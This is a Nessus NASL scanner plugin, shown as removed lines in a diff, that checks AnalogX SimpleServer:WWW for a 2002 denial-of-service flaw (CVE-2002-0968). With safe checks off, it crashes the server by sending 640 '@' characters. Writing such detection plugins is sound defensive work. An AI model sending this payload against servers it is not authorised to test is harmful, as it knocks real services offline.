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- #
- # This script was written by Michel Arboi <arboi@alussinan.org>
- #
- # GNU Public Licence...
- #
- # Rerefence:
- # To: bugtraq@securityfocus.com
- # From:"Fort _" <fort@linuxmail.org>
- # Subject: Remote DoS in AnalogX SimpleServer:www 1.16
- # Message-ID: <20020613122121.31625.qmail@mail.securityfocus.com>
- #
-
- if(description)
- {
- script_id(11035);
- script_bugtraq_id(5006);
- script_version("$Revision: 1.13 $");
- script_cve_id("CVE-2002-0968");
- script_name(english:"AnalogX SimpleServer:WWW DoS");
-
- desc["english"] = "
- It was possible to kill the remote web server by sending 640 @
- character to it.
-
- A cracker may use this flaw to make your server crash continuously,
- preventing it from working properly.
-
- Solution : upgrade your software or use another
- HTTP server.
-
- Risk factor : High";
-
- desc["francais"] = "
- Il a ΘtΘ possible de tuer le serveur web sitant en lui envoyant
- 640 caractΦres @
-
- Un pirate peut exploiter cette faille problΦme pour tuer
- continuellement votre serveur, l'empΩchant de fonctionner
- correctement.
-
- Solution : mettez α jour votre logiciel ou
- utilisez un autre serveur HTTP.
-
- Facteur de risque : ╔levΘ";
-
- script_description(english:desc["english"], francais:desc["francais"]);
-
- summary["english"] = "Crashes SimpleServer:WWW";
- summary["francais"] = "Tue SimpleServer:WWW";
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- script_category(ACT_MIXED_ATTACK);
-
-
- script_copyright(english:"This script is Copyright (C) 2002 Michel Arboi");
- family["english"] = "Denial of Service";
- family["francais"] = "DΘni de service";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencies("find_service.nes", "http_version.nasl");
- script_require_ports("Services/www", 80);
- script_require_keys("www/simpleserver");
- exit(0);
- }
-
- # The script code starts here
-
- include("http_func.inc");
-
- port = get_http_port(default:80);
-
- if(!get_port_state(port)) exit(0);
-
- banner = get_http_banner(port: port);
- if (! banner) exit(0);
-
- if (safe_checks())
- {
- if (egrep(pattern:"^Server: *SimpleServer:WWW/1.[01]", string:banner))
- {
- security_hole(port: port, data:"According ot its version number,
- it should be possible to kill your remote SimpleServer web server
- by sending 640 @ character to it.
-
- A cracker may use this flaw to make your server crash continuously,
- preventing it from working properly.
-
- Solution : upgrade your software or use another
- HTTP server.
-
- Risk factor : High");
- }
- exit(0);
- }
-
- soc = open_sock_tcp(port);
- if(!soc) exit(0);
-
- send(socket:soc, data:string(crap(length:640, data:"@"), "\r\n\r\n"));
- r = http_recv(socket:soc);
- close(soc);
-
- soc = open_sock_tcp(port);
- if(soc) { close(soc); exit(0); }
-
- security_hole(port);
-